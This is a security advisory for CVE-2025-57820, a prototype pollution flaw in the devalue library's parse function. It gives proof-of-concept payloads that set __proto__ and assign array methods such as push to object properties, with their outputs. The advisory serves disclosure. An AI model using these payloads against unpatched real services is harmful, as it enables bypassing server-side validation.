CVE-2025-57820: devalue prototype pollution vulnerability

1. <code>devalue.parse</code> allows <code>__proto__</code> to be set

A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:

class Vector {
  constructor(x, y) {
    this.x = x;
    this.y = y;
  }

  get magnitude() {
    return (this.x ** 2 + this.y ** 2) ** 0.5;
  }
}

const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;

const vector = devalue.parse(payload, {
  Vector: ([x, y]) => new Vector(x, y)
});

console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5

2. <code>devalue.parse</code> allows array prototype methods to be assigned to object

In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the ‘hydrated’ values:

devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]

devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:

const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0

This could be used by a creative attacker to bypass server-side validation.